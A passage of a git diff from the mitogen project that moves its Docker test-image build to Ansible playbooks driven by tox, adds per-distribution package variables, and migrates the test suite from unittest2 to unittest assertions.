a970b319..9e0e630a 100644 --- a/tests/image_prep/README.md +++ b/tests/image_prep/README.md @@ -14,10 +14,11 @@ See ../README.md for a (mostly) description of the accounts created. ## Building the containers -``./build_docker_images.sh`` - -Requires Ansible 2.3.x.x in order to target CentOS 5 +No single version of Ansible supports every Linux distribution that we target. +To workaround this [Tox](https://tox.readthedocs.io) is used, to install and +run multiple versions of Ansible, in Python virtualenvs. +``tox`` ## Preparing an OS X box diff --git a/tests/image_prep/_container_create.yml b/tests/image_prep/_container_create.yml new file mode 100644 index 00000000..b07c46eb --- /dev/null +++ b/tests/image_prep/_container_create.yml @@ -0,0 +1,20 @@ +- name: Start containers + hosts: all + strategy: mitogen_free + gather_facts: false + tasks: + - name: Fetch container images + docker_image: + name: "{{ docker_base }}" + delegate_to: localhost + + - name: Start containers + docker_container: + name: "{{ inventory_hostname }}" + image: "{{ docker_base }}" + command: /bin/bash + hostname: "mitogen-{{ inventory_hostname }}" + detach: true + interactive: true + tty: true + delegate_to: localhost diff --git a/tests/image_prep/_container_finalize.yml b/tests/image_prep/_container_finalize.yml new file mode 100644 index 00000000..d61d9b3b --- /dev/null +++ b/tests/image_prep/_container_finalize.yml @@ -0,0 +1,18 @@ +- name: Prepare images + hosts: all + strategy: mitogen_free + gather_facts: true + tasks: + - name: Commit containers + command: > + docker commit + --change 'EXPOSE 22' + --change 'CMD ["/usr/sbin/sshd", "-D"]' + {{ inventory_hostname }} + public.ecr.aws/n5z0e8q9/{{ inventory_hostname }}-test + delegate_to: localhost + + - name: Stop containers + command: > + docker rm -f {{ inventory_hostname }} + delegate_to: localhost diff --git a/tests/image_prep/_container_setup.yml b/tests/image_prep/_container_setup.yml index 65e898a1..353a7d5b 100644 --- a/tests/image_prep/_container_setup.yml +++ b/tests/image_prep/_container_setup.yml @@ -1,83 +1,76 @@ - hosts: all - vars_files: - - shared_vars.yml strategy: linear gather_facts: false tasks: - - raw: > - if ! python -c ''; then - if type -p yum; then - yum -y install python; - else - apt-get -y update && apt-get -y install python; - fi; + - name: Install bootstrap packages + raw: | + set -o errexit + set -o nounset + if type -p yum; then + yum -y install {{ bootstrap_packages | join(' ') }} + else + apt-get -y update + apt-get -y --no-install-recommends install {{ bootstrap_packages | join(' ') }} fi + when: bootstrap_packages | length - hosts: all - vars_files: - - shared_vars.yml strategy: mitogen_free + # Resource limitation, my laptop freezes doing every container concurrently + serial: 4 # Can't gather facts before here. gather_facts: true vars: distro: "{{ansible_distribution}}" - ver: "{{ansible_distribution_major_version}}" - - packages: - common: - - openssh-server - - rsync - - strace - - sudo - Debian: - "9": - - libjson-perl - - python-virtualenv - - locales - CentOS: - "5": - - perl - - sudo - #- perl-JSON -- skipped on CentOS 5, packages are a pain. - "6": - - perl-JSON - "7": - - perl-JSON - - python-virtualenv - tasks: - when: ansible_virtualization_type != "docker" meta: end_play - - name: Ensure requisite Debian packages are installed + - name: Ensure requisite apt packages are installed apt: - name: "{{packages.common + packages[distro][ver]}}" - state: installed + name: "{{ common_packages + packages }}" + state: present + install_recommends: false update_cache: true - when: distro == "Debian" + when: ansible_pkg_mgr == 'apt' - - name: Ensure requisite Red Hat packaed are installed + - name: Ensure requisite yum packages are installed yum: - name: "{{packages.common + packages[distro][ver]}}" - state: installed + name: "{{ common_packages + packages }}" + state: present update_cache: true - when: distro == "CentOS" + when: ansible_pkg_mgr == 'yum' - - name: Clean up apt cache - command: apt-get clean - when: distro == "Debian" + - name: Ensure requisite dnf packages are installed + dnf: + name: "{{ common_packages + packages }}" + state: present + update_cache: true + when: ansible_pkg_mgr == 'dnf' + + - name: Clean up package cache + vars: + clean_command: + apt: apt-get clean + yum: yum clean all + dnf: dnf clean all + command: "{{ clean_command[ansible_pkg_mgr] }}" + args: + warn: false - name: Clean up apt package lists shell: rm -rf {{item}}/* with_items: - /var/cache/apt - /var/lib/apt/lists - when: distro == "Debian" + when: ansible_pkg_mgr == 'apt' - - name: Clean up yum cache - command: yum clean all - when: distro == "CentOS" + - name: Configure /usr/bin/python + command: alternatives --set python /usr/bin/python3.8 + args: + creates: /usr/bin/python + when: inventory_hostname in ["centos8"] - name: Enable UTF-8 locale on Debian copy: @@ -85,11 +78,11 @@ content: | en_US.UTF-8 UTF-8 fr_FR.UTF-8 UTF-8 - when: distro == "Debian" + when: ansible_pkg_mgr == 'apt' - name: Generate UTF-8 locale on Debian shell: locale-gen - when: distro == "Debian" + when: ansible_pkg_mgr == 'apt' - name: Write Unicode into /etc/environment copy: @@ -115,16 +108,6 @@ permit :mitogen__group permit :root - - name: Vanilla Ansible needs simplejson on CentOS 5. - shell: mkdir -p /usr/lib/python2.4/site-packages/simplejson/ - when: distro == "CentOS" and ver == "5" - - - name: Vanilla Ansible needs simplejson on CentOS 5. - synchronize: - dest: /usr/lib/python2.4/site-packages/simplejson/ - src: ../../ansible_mitogen/compat/simplejson/ - when: distro == "CentOS" and ver == "5" - - name: Set root user password and shell user: name: root @@ -182,8 +165,9 @@ - name: Install CentOS wheel sudo rule lineinfile: path: /etc/sudoers - line: "%wheel ALL=(ALL) ALL" - when: distro == "CentOS" + regexp: '#* *%wheel +ALL=(ALL) +ALL' + line: "%wheel ALL=(ALL) ALL" + when: ansible_os_family == 'RedHat' - name: Enable SSH banner lineinfile: @@ -202,6 +186,15 @@ regexp: '.*session.*required.*pam_loginuid.so' line: session optional pam_loginuid.so + # Normally this would be removed by systemd-networkd-wait-online. If + # present ssh works only for root. The message displayed is + # > System is booting up. Unprivileged users are not permitted to log in + # > yet. Please come back later. For technical details, see pam_nologin(8). + - name: Remove login lockout + file: + path: /run/nologin + state: absent + - name: Install convenience script for running an straced Python copy: mode: 'u+rwx,go=rx' diff --git a/tests/image_prep/_user_accounts.yml b/tests/image_prep/_user_accounts.yml index 150e54b4..6224b61a 100644 --- a/tests/image_prep/_user_accounts.yml +++ b/tests/image_prep/_user_accounts.yml @@ -5,15 +5,11 @@ # - hosts: all - vars_files: - - shared_vars.yml gather_facts: true strategy: mitogen_free become: true vars: distro: "{{ansible_distribution}}" - ver: "{{ansible_distribution_major_version}}" - special_users: - has_sudo - has_sudo_nopw @@ -172,6 +168,8 @@ with_items: - mitogen__pw_required - mitogen__require_tty_pw_required + when: + - ansible_virtualization_type != "docker" - name: Allow passwordless sudo for require_tty/readonly_homedir lineinfile: @@ -181,6 +179,8 @@ with_items: - mitogen__require_tty - mitogen__readonly_homedir + when: + - ansible_virtualization_type != "docker" - name: Allow passwordless for many accounts lineinfile: @@ -188,3 +188,5 @@ line: "{{lookup('pipe', 'whoami')}} ALL = (mitogen__{{item}}:ALL) NOPASSWD:ALL" validate: '/usr/sbin/visudo -cf %s' with_items: "{{normal_users}}" + when: + - ansible_virtualization_type != "docker" diff --git a/tests/image_prep/ansible.cfg b/tests/image_prep/ansible.cfg index 60f2975e..0745aed1 100644 --- a/tests/image_prep/ansible.cfg +++ b/tests/image_prep/ansible.cfg @@ -1,7 +1,11 @@ [defaults] +deprecation_warnings = false strategy_plugins = ../../ansible_mitogen/plugins/strategy retry_files_enabled = false display_args_to_stdout = True no_target_syslog = True host_key_checking = False + +[inventory] +unparsed_is_fatal = true diff --git a/tests/image_prep/build_docker_images.py b/tests/image_prep/build_docker_images.py deleted file mode 100755 index 76564297..00000000 --- a/tests/image_prep/build_docker_images.py +++ /dev/null @@ -1,65 +0,0 @@ -#!/usr/bin/env python - -""" -Build the Docker images used for testing. -""" - -import commands -import os -import shlex -import subprocess -import sys -import tempfile - - -BASEDIR = os.path.dirname(os.path.abspath(__file__)) - - -def sh(s, *args): - if args: - s %= args - return shlex.split(s) - - - -label_by_id = {} - -for base_image, label in [ - ('astj/centos5-vault', 'centos5'), # Python 2.4.3 - # Debian containers later than debuerreotype/debuerreotype#48 no longer - # ship a stub 'initctl', causing (apparently) the Ansible service - # module run at the end of DebOps to trigger a full stop/start of SSHd. - # When SSHd is killed, Docker responds by destroying the container. - # Proper solution is to include a full /bin/init; Docker --init doesn't - # help. In the meantime, just use a fixed older version. - ('debian:stretch-20181112', 'debian'), # Python 2.7.13, 3.5.3 - ('centos:6', 'centos6'), # Python 2.6.6 - ('centos:7', 'centos7') # Python 2.7.5 - ]: - args = sh('docker run --rm -it -d -h mitogen-%s %s /bin/bash', - label, base_image) - container_id = subprocess.check_output(args).strip() - label_by_id[container_id] = label - -with tempfile.NamedTemporaryFile() as fp: - fp.write('[all]\n') - for id_, label in label_by_id.items(): - fp.write('%s ansible_host=%s\n' % (label, id_)) - fp.flush() - - try: - subprocess.check_call( - cwd=BASEDIR, - args=sh('ansible-playbook -i %s -c docker setup.yml', fp.name) + sys.argv[1:], - ) - - for container_id, label in label_by_id.items(): - subprocess.check_call(sh(''' - docker commit - --change 'EXPOSE 22' - --change 'CMD ["/usr/sbin/sshd", "-D"]' - %s - mitogen/%s-test - ''', container_id, label)) - finally: - subprocess.check_call(sh('docker rm -f %s', ' '.join(label_by_id))) diff --git a/tests/image_prep/shared_vars.yml b/tests/image_prep/group_vars/all.yml similarity index 52% rename from tests/image_prep/shared_vars.yml rename to tests/image_prep/group_vars/all.yml index 4be7babe..5f182f86 100644 --- a/tests/image_prep/shared_vars.yml +++ b/tests/image_prep/group_vars/all.yml @@ -1,3 +1,9 @@ +common_packages: + - openssh-server + - rsync + - strace + - sudo + sudo_group: MacOSX: admin Debian: sudo diff --git a/tests/image_prep/host_vars/centos5.yml b/tests/image_prep/host_vars/centos5.yml new file mode 100644 index 00000000..1828c29e --- /dev/null +++ b/tests/image_prep/host_vars/centos5.yml @@ -0,0 +1,6 @@ +bootstrap_packages: [python-simplejson] + +docker_base: astj/centos5-vault + +packages: + - perl diff --git a/tests/image_prep/host_vars/centos6.yml b/tests/image_prep/host_vars/centos6.yml new file mode 100644 index 00000000..aae7965f --- /dev/null +++ b/tests/image_prep/host_vars/centos6.yml @@ -0,0 +1,6 @@ +bootstrap_packages: [python] + +docker_base: moreati/centos6-vault + +packages: + - perl-JSON diff --git a/tests/image_prep/host_vars/centos7.yml b/tests/image_prep/host_vars/centos7.yml new file mode 100644 index 00000000..fec83471 --- /dev/null +++ b/tests/image_prep/host_vars/centos7.yml @@ -0,0 +1,8 @@ +bootstrap_packages: [python] + +docker_base: centos:7 + +packages: + - perl-JSON + - python-virtualenv + - python3 diff --git a/tests/image_prep/host_vars/centos8.yml b/tests/image_prep/host_vars/centos8.yml new file mode 100644 index 00000000..17eccd01 --- /dev/null +++ b/tests/image_prep/host_vars/centos8.yml @@ -0,0 +1,10 @@ +bootstrap_packages: [python3] + +docker_base: centos:8 + +packages: + - perl-JSON + - python2-virtualenv + - python3-virtualenv + - python36 + - python38 diff --git a/tests/image_prep/host_vars/debian10.yml b/tests/image_prep/host_vars/debian10.yml new file mode 100644 index 00000000..1b03d6a2 --- /dev/null +++ b/tests/image_prep/host_vars/debian10.yml @@ -0,0 +1,11 @@ +bootstrap_packages: [python] + +docker_base: debian:10 + +packages: + - libjson-perl + - locales + - python-virtualenv + - python3 + - python3-virtualenv + - virtualenv diff --git a/tests/image_prep/host_vars/debian11.yml b/tests/image_prep/host_vars/debian11.yml new file mode 100644 index 00000000..5ab2d761 --- /dev/null +++ b/tests/image_prep/host_vars/debian11.yml @@ -0,0 +1,11 @@ +bootstrap_packages: [python3, python3-apt] + +docker_base: debian:bullseye + +packages: + - libjson-perl + - locales + - python-is-python3 + - python2 + - python3-virtualenv + - virtualenv diff --git a/tests/image_prep/host_vars/debian9.yml b/tests/image_prep/host_vars/debian9.yml new file mode 100644 index 00000000..cbd22e0f --- /dev/null +++ b/tests/image_prep/host_vars/debian9.yml @@ -0,0 +1,11 @@ +bootstrap_packages: [python] + +docker_base: debian:9 + +packages: + - libjson-perl + - locales + - python-virtualenv + - python3 + - python3-virtualenv + - virtualenv diff --git a/tests/image_prep/host_vars/ubuntu1604.yml b/tests/image_prep/host_vars/ubuntu1604.yml new file mode 100644 index 00000000..461e522d --- /dev/null +++ b/tests/image_prep/host_vars/ubuntu1604.yml @@ -0,0 +1,11 @@ +bootstrap_packages: [python] + +docker_base: ubuntu:16.04 + +packages: + - libjson-perl + - locales + - python-virtualenv + - python3 + - python3-virtualenv + - virtualenv diff --git a/tests/image_prep/host_vars/ubuntu1804.yml b/tests/image_prep/host_vars/ubuntu1804.yml new file mode 100644 index 00000000..4c913e2d --- /dev/null +++ b/tests/image_prep/host_vars/ubuntu1804.yml @@ -0,0 +1,11 @@ +bootstrap_packages: [python] + +docker_base: ubuntu:18.04 + +packages: + - libjson-perl + - locales + - python-virtualenv + - python3 + - python3-virtualenv + - virtualenv diff --git a/tests/image_prep/host_vars/ubuntu2004.yml b/tests/image_prep/host_vars/ubuntu2004.yml new file mode 100644 index 00000000..4ee5b331 --- /dev/null +++ b/tests/image_prep/host_vars/ubuntu2004.yml @@ -0,0 +1,11 @@ +bootstrap_packages: [python3] + +docker_base: ubuntu:20.04 + +packages: + - libjson-perl + - locales + - python-is-python3 + - python2 + - python3-virtualenv + - virtualenv diff --git a/tests/image_prep/hosts.ini b/tests/image_prep/hosts.ini new file mode 100644 index 00000000..68f8be62 --- /dev/null +++ b/tests/image_prep/hosts.ini @@ -0,0 +1,23 @@ +[all:children] +centos +debian +ubuntu + +[all:vars] +ansible_connection = docker + +[centos] +centos5 +centos6 +centos7 +centos8 + +[debian] +debian9 +debian10 +debian11 + +[ubuntu] +ubuntu1604 +ubuntu1804 +ubuntu2004 diff --git a/tests/image_prep/setup.yml b/tests/image_prep/setup.yml old mode 100644 new mode 100755 index 2c37c6bb..9aa3285c --- a/tests/image_prep/setup.yml +++ b/tests/image_prep/setup.yml @@ -1,3 +1,6 @@ +#!/usr/bin/env ansible-playbook +- include: _container_create.yml - include: _container_setup.yml - include: _user_accounts.yml +- include: _container_finalize.yml diff --git a/tests/image_prep/tox.ini b/tests/image_prep/tox.ini new file mode 100644 index 00000000..d28d1512 --- /dev/null +++ b/tests/image_prep/tox.ini @@ -0,0 +1,29 @@ +[tox] +envlist = + ansible2.3, + ansible2.10, +skipsdist = true + +[testenv] +setenv = + ANSIBLE_STRATEGY_PLUGINS={envsitepackagesdir}/ansible_mitogen/plugins/strategy + +[testenv:ansible2.3] +basepython = python2 +deps = + ansible>=2.3,<2.4 + docker-py>=1.7.0 + mitogen>=0.2.10rc1,<0.3 +install_command = + python -m pip --no-python-version-warning install {opts} {packages} +commands = + ./setup.yml -i hosts.ini -l 'localhost,centos5' {posargs} + +[testenv:ansible2.10] +basepython = python3 +deps = + ansible>=2.10,<2.11 + docker>=1.8.0 + mitogen>=0.3.0rc1,<0.4 +commands = + ./setup.yml -i hosts.ini -l '!centos5' {posargs} diff --git a/tests/importer_test.py b/tests/importer_test.py index c796f7d0..e48c02a4 100644 --- a/tests/importer_test.py +++ b/tests/importer_test.py @@ -1,11 +1,9 @@ - import sys import threading import types import zlib import mock -import unittest2 import mitogen.core import mitogen.utils @@ -69,7 +67,7 @@ class LoadModuleTest(ImporterMixin, testlib.TestCase): def test_module_file_set(self): self.set_get_module_response(self.response) mod = self.importer.load_module(self.modname) - self.assertEquals(mod.__file__, 'master:' + self.path) + self.assertEqual(mod.__file__, 'master:' + self.path) def test_module_loader_set(self): self.set_get_module_response(self.response) @@ -92,7 +90,7 @@ class LoadSubmoduleTest(ImporterMixin, testlib.TestCase): def test_module_package_unset(self): self.set_get_module_response(self.response) mod = self.importer.load_module(self.modname) - self.assertEquals(mod.__package__, 'mypkg') + self.assertEqual(mod.__package__, 'mypkg') class LoadModulePackageTest(ImporterMixin, testlib.TestCase): @@ -105,19 +103,19 @@ class LoadModulePackageTest(ImporterMixin, testlib.TestCase): def test_module_file_set(self): self.set_get_module_response(self.response) mod = self.importer.load_module(self.modname) - self.assertEquals(mod.__file__, 'master:' + self.path) + self.assertEqual(mod.__file__, 'master:' + self.path) def test_get_filename(self): self.set_get_module_response(self.response) mod = self.importer.load_module(self.modname) filename = mod.__loader__.get_filename(self.modname) - self.assertEquals('master:fake_pkg/__init__.py', filename) + self.assertEqual('master:fake_pkg/__init__.py', filename) def test_get_source(self): self.set_get_module_response(self.response) mod = self.importer.load_module(self.modname) source = mod.__loader__.get_source(self.modname) - self.assertEquals(source, + self.assertEqual(source, mitogen.core.to_text(zlib.decompress(self.data))) def test_module_loader_set(self): @@ -128,18 +126,18 @@ class LoadModulePackageTest(ImporterMixin, testlib.TestCase): def test_module_path_present(self): self.set_get_module_response(self.response) mod = self.importer.load_module(self.modname) - self.assertEquals(mod.__path__, []) + self.assertEqual(mod.__path__, []) def test_module_package_set(self): self.set_get_module_response(self.response) mod = self.importer.load_module(self.modname) - self.assertEquals(mod.__package__, self.modname) + self.assertEqual(mod.__package__, self.modname) def test_module_data(self): self.set_get_module_response(self.response) mod = self.importer.load_module(self.modname) self.assertIsInstance(mod.func, types.FunctionType) - self.assertEquals(mod.func.__module__, self.modname) + self.assertEqual(mod.func.__module__, self.modname) class EmailParseAddrSysTest(testlib.RouterMixin, testlib.TestCase): @@ -219,9 +217,5 @@ class SelfReplacingModuleTest(testlib.RouterMixin, testlib.TestCase): # issue #590 def test_importer_handles_self_replacement(self): c = self.router.local() - self.assertEquals(0, + self.assertEqual(0, c.call(simple_pkg.imports_replaces_self.subtract_one, 1)) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/io_op_test.py b/tests/io_op_test.py index 525a1b12..55adfa11 100644 --- a/tests/io_op_test.py +++ b/tests/io_op_test.py @@ -1,9 +1,7 @@ - import errno import select import mock -import unittest2 import testlib import mitogen.core @@ -31,10 +29,10 @@ class RestartTest(object): 'yay', ] rc, disconnected = self.func(py24_mock_fix(m), 'input') - self.assertEquals(rc, 'yay') + self.assertEqual(rc, 'yay') self.assertFalse(disconnected) - self.assertEquals(4, m.call_count) - self.assertEquals(m.mock_calls, [ + self.assertEqual(4, m.call_count) + self.assertEqual(m.mock_calls, [ mock.call('input'), mock.call('input'), mock.call('input'), @@ -59,10 +57,10 @@ class DisconnectTest(object): m = mock.Mock() m.side_effect = self.exception_class(self.errno) rc, disconnected = self.func(m, 'input') - self.assertEquals(rc, None) + self.assertEqual(rc, None) self.assertTrue(disconnected) - self.assertEquals(1, m.call_count) - self.assertEquals(m.mock_calls, [ + self.assertEqual(1, m.call_count) + self.assertEqual(m.mock_calls, [ mock.call('input'), ]) @@ -107,9 +105,9 @@ class ExceptionTest(object): m.side_effect = self.exception_class(self.errno) e = self.assertRaises(self.exception_class, lambda: self.func(m, 'input')) - self.assertEquals(e, m.side_effect) - self.assertEquals(1, m.call_count) - self.assertEquals(m.mock_calls, [ + self.assertEqual(e, m.side_effect) + self.assertEqual(1, m.call_count) + self.assertEqual(m.mock_calls, [ mock.call('input'), ]) @@ -122,7 +120,3 @@ class SelectExceptionTest(ExceptionTest, testlib.TestCase): class OsErrorExceptionTest(ExceptionTest, testlib.TestCase): errno = errno.EBADF exception_class = OSError - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/iter_split_test.py b/tests/iter_split_test.py index ee5e97d9..74c46c0a 100644 --- a/tests/iter_split_test.py +++ b/tests/iter_split_test.py @@ -1,11 +1,7 @@ - -import mock -import unittest2 +import unittest import mitogen.core -import testlib - try: next except NameError: @@ -13,45 +9,45 @@ except NameError: return it.next() -class IterSplitTest(unittest2.TestCase): +class IterSplitTest(unittest.TestCase): func = staticmethod(mitogen.core.iter_split) def test_empty_buffer(self): lst = [] trailer, cont = self.func(buf='', delim='\n', func=lst.append) self.assertTrue(cont) - self.assertEquals('', trailer) - self.assertEquals([], lst) + self.assertEqual('', trailer) + self.assertEqual([], lst) def test_empty_line(self): lst = [] trailer, cont = self.func(buf='\n', delim='\n', func=lst.append) self.assertTrue(cont) - self.assertEquals('', trailer) - self.assertEquals([''], lst) + self.assertEqual('', trailer) + self.assertEqual([''], lst) def test_one_line(self): buf = 'xxxx\n' lst = [] trailer, cont = self.func(buf=buf, delim='\n', func=lst.append) self.assertTrue(cont) - self.assertEquals('', trailer) - self.assertEquals(lst, ['xxxx']) + self.assertEqual('', trailer) + self.assertEqual(lst, ['xxxx']) def test_one_incomplete(self): buf = 'xxxx\nyy' lst = [] trailer, cont = self.func(buf=buf, delim='\n', func=lst.append) self.assertTrue(cont) - self.assertEquals('yy', trailer) - self.assertEquals(lst, ['xxxx']) + self.assertEqual('yy', trailer) + self.assertEqual(lst, ['xxxx']) def test_returns_false_immediately(self): buf = 'xxxx\nyy' func = lambda buf: False trailer, cont = self.func(buf=buf, delim='\n', func=func) self.assertFalse(cont) - self.assertEquals('yy', trailer) + self.assertEqual('yy', trailer) def test_returns_false_second_call(self): buf = 'xxxx\nyy\nzz' @@ -59,8 +55,4 @@ class IterSplitTest(unittest2.TestCase): func = lambda buf: next(it) trailer, cont = self.func(buf=buf, delim='\n', func=func) self.assertFalse(cont) - self.assertEquals('zz', trailer) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual('zz', trailer) diff --git a/tests/jail_test.py b/tests/jail_test.py index 7239d32f..5c0ad946 100644 --- a/tests/jail_test.py +++ b/tests/jail_test.py @@ -1,11 +1,5 @@ - import os -import mitogen -import mitogen.parent - -import unittest2 - import testlib @@ -20,14 +14,10 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): stream = self.router.stream_by_id(context.context_id) argv = eval(context.call(os.getenv, 'ORIGINAL_ARGV')) - self.assertEquals(argv[:4], [ + self.assertEqual(argv[:4], [ self.jexec_path, 'somejail', stream.conn.options.python_path, '-c', ]) - self.assertEquals('1', context.call(os.getenv, 'THIS_IS_STUB_JEXEC')) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual('1', context.call(os.getenv, 'THIS_IS_STUB_JEXEC')) diff --git a/tests/kubectl_test.py b/tests/kubectl_test.py index 0bac3048..2b21cfd6 100644 --- a/tests/kubectl_test.py +++ b/tests/kubectl_test.py @@ -1,11 +1,5 @@ - import os -import mitogen -import mitogen.parent - -import unittest2 - import testlib @@ -19,11 +13,7 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): ) argv = eval(context.call(os.getenv, 'ORIGINAL_ARGV')) - self.assertEquals(argv[0], self.kubectl_path) - self.assertEquals(argv[1], 'exec') - self.assertEquals(argv[2], '-it') - self.assertEquals(argv[3], 'pod_name') - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(argv[0], self.kubectl_path) + self.assertEqual(argv[1], 'exec') + self.assertEqual(argv[2], '-it') + self.assertEqual(argv[3], 'pod_name') diff --git a/tests/latch_test.py b/tests/latch_test.py index 6ae43221..e7e2768d 100644 --- a/tests/latch_test.py +++ b/tests/latch_test.py @@ -1,9 +1,6 @@ - import sys import threading -import unittest2 - import mitogen.core import testlib @@ -47,19 +44,19 @@ class GetTest(testlib.TestCase): obj = object() latch = self.klass() latch.put(obj) - self.assertEquals(obj, latch.get()) + self.assertEqual(obj, latch.get()) def test_nonempty_noblock(self): obj = object() latch = self.klass() latch.put(obj) - self.assertEquals(obj, latch.get(block=False)) + self.assertEqual(obj, latch.get(block=False)) def test_nonempty_zero_timeout(self): obj = object() latch = self.klass() latch.put(obj) - self.assertEquals(obj, latch.get(timeout=0)) + self.assertEqual(obj, latch.get(timeout=0)) class ThreadedGetTest(testlib.TestCase): @@ -93,8 +90,8 @@ class ThreadedGetTest(testlib.TestCase): self.start_one(lambda: latch.get(timeout=3.0)) latch.put('test') self.join() - self.assertEquals(self.results, ['test']) - self.assertEquals(self.excs, []) + self.assertEqual(self.results, ['test']) + self.assertEqual(self.excs, []) def test_five_threads(self): latch = self.klass() @@ -103,8 +100,8 @@ class ThreadedGetTest(testlib.TestCase): for x in range(5): latch.put(x) self.join() - self.assertEquals(sorted(self.results), list(range(5))) - self.assertEquals(self.excs, []) + self.assertEqual(sorted(self.results), list(range(5))) + self.assertEqual(self.excs, []) @@ -114,7 +111,7 @@ class PutTest(testlib.TestCase): def test_put(self): latch = self.klass() latch.put(None) - self.assertEquals(None, latch.get()) + self.assertEqual(None, latch.get()) class CloseTest(testlib.TestCase): @@ -199,7 +196,7 @@ class ThreadedCloseTest(testlib.TestCase): self.start_one(lambda: latch.get(timeout=3.0)) latch.close() self.join() - self.assertEquals(self.results, [None]) + self.assertEqual(self.results, [None]) for exc in self.excs: self.assertTrue(isinstance(exc, mitogen.core.LatchError)) @@ -209,11 +206,6 @@ class ThreadedCloseTest(testlib.TestCase): self.start_one(lambda: latch.get(timeout=3.0)) latch.close() self.join() - self.assertEquals(self.results, [None]*5) + self.assertEqual(self.results, [None]*5) for exc in self.excs: self.assertTrue(isinstance(exc, mitogen.core.LatchError)) - - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/local_test.py b/tests/local_test.py index fe2bd149..a361777d 100644 --- a/tests/local_test.py +++ b/tests/local_test.py @@ -1,11 +1,6 @@ - import os import sys -import unittest2 - -import mitogen - import testlib @@ -23,18 +18,18 @@ class ConstructionTest(testlib.RouterMixin, testlib.TestCase): def test_stream_name(self): context = self.router.local() pid = context.call(os.getpid) - self.assertEquals('local.%d' % (pid,), context.name) + self.assertEqual('local.%d' % (pid,), context.name) def test_python_path_inherited(self): context = self.router.local() - self.assertEquals(sys.executable, context.call(get_sys_executable)) + self.assertEqual(sys.executable, context.call(get_sys_executable)) def test_python_path_string(self): context = self.router.local( python_path=self.stub_python_path, ) env = context.call(get_os_environ) - self.assertEquals('1', env['THIS_IS_STUB_PYTHON']) + self.assertEqual('1', env['THIS_IS_STUB_PYTHON']) def test_python_path_list(self): context = self.router.local( @@ -44,11 +39,7 @@ class ConstructionTest(testlib.RouterMixin, testlib.TestCase): sys.executable ] ) - self.assertEquals(sys.executable, context.call(get_sys_executable)) + self.assertEqual(sys.executable, context.call(get_sys_executable)) env = context.call(get_os_environ) - self.assertEquals('magic_first_arg', env['STUB_PYTHON_FIRST_ARG']) - self.assertEquals('1', env['THIS_IS_STUB_PYTHON']) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual('magic_first_arg', env['STUB_PYTHON_FIRST_ARG']) + self.assertEqual('1', env['THIS_IS_STUB_PYTHON']) diff --git a/tests/log_handler_test.py b/tests/log_handler_test.py index 8f4d9dd5..c270c20a 100644 --- a/tests/log_handler_test.py +++ b/tests/log_handler_test.py @@ -1,9 +1,8 @@ - import logging import mock import sys +import unittest -import unittest2 import testlib import mitogen.core import mitogen.master @@ -38,8 +37,8 @@ class BufferingTest(testlib.TestCase): context, handler = self.build() rec = self.record() handler.emit(rec) - self.assertEquals(0, context.send.call_count) - self.assertEquals(1, len(handler._buffer)) + self.assertEqual(0, context.send.call_count) + self.assertEqual(1, len(handler._buffer)) def test_uncork(self): context, handler = self.build() @@ -47,14 +46,14 @@ class BufferingTest(testlib.TestCase): handler.emit(rec) handler.uncork() - self.assertEquals(1, context.send.call_count) - self.assertEquals(None, handler._buffer) + self.assertEqual(1, context.send.call_count) + self.assertEqual(None, handler._buffer) _, args, _ = context.send.mock_calls[0] msg, = args - self.assertEquals(mitogen.core.FORWARD_LOG, msg.handle) - self.assertEquals(b('name\x0099\x00msg'), msg.data) + self.assertEqual(mitogen.core.FORWARD_LOG, msg.handle) + self.assertEqual(b('name\x0099\x00msg'), msg.data) class StartupTest(testlib.RouterMixin, testlib.TestCase): @@ -86,11 +85,7 @@ class StartupTest(testlib.RouterMixin, testlib.TestCase): expect = 'Parent is context %s (%s)' % (c1.context_id, 'parent') self.assertTrue(expect in logs) -StartupTest = unittest2.skipIf( +StartupTest = unittest.skipIf( condition=sys.version_info < (2, 7) or sys.version_info >= (3, 6), reason="Message log flaky on Python < 2.7 or >= 3.6" )(StartupTest) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/lxc_test.py b/tests/lxc_test.py index f78846ff..81d27318 100644 --- a/tests/lxc_test.py +++ b/tests/lxc_test.py @@ -1,15 +1,13 @@ import os -import mitogen import mitogen.lxc +import mitogen.parent try: any except NameError: from mitogen.core import any -import unittest2 - import testlib @@ -27,7 +25,7 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): ) argv = eval(context.call(os.getenv, 'ORIGINAL_ARGV')) - self.assertEquals(argv[0], self.lxc_attach_path) + self.assertEqual(argv[0], self.lxc_attach_path) self.assertTrue('--clear-env' in argv) self.assertTrue(has_subseq(argv, ['--name', 'container_name'])) @@ -39,7 +37,3 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): ) ) self.assertTrue(str(e).endswith(mitogen.lxc.Connection.eof_error_hint)) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/lxd_test.py b/tests/lxd_test.py index c80f8251..6573e1ba 100644 --- a/tests/lxd_test.py +++ b/tests/lxd_test.py @@ -1,11 +1,8 @@ import os -import mitogen import mitogen.lxd import mitogen.parent -import unittest2 - import testlib @@ -18,10 +15,10 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): ) argv = eval(context.call(os.getenv, 'ORIGINAL_ARGV')) - self.assertEquals(argv[0], lxc_path) - self.assertEquals(argv[1], 'exec') - self.assertEquals(argv[2], '--mode=noninteractive') - self.assertEquals(argv[3], 'container_name') + self.assertEqual(argv[0], lxc_path) + self.assertEqual(argv[1], 'exec') + self.assertEqual(argv[2], '--mode=noninteractive') + self.assertEqual(argv[3], 'container_name') def test_eof(self): e = self.assertRaises(mitogen.parent.EofError, @@ -31,7 +28,3 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): ) ) self.assertTrue(str(e).endswith(mitogen.lxd.Connection.eof_error_hint)) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/master_test.py b/tests/master_test.py index 31d11013..2af00718 100644 --- a/tests/master_test.py +++ b/tests/master_test.py @@ -1,7 +1,5 @@ import inspect -import unittest2 - import testlib import mitogen.master @@ -16,16 +14,12 @@ class 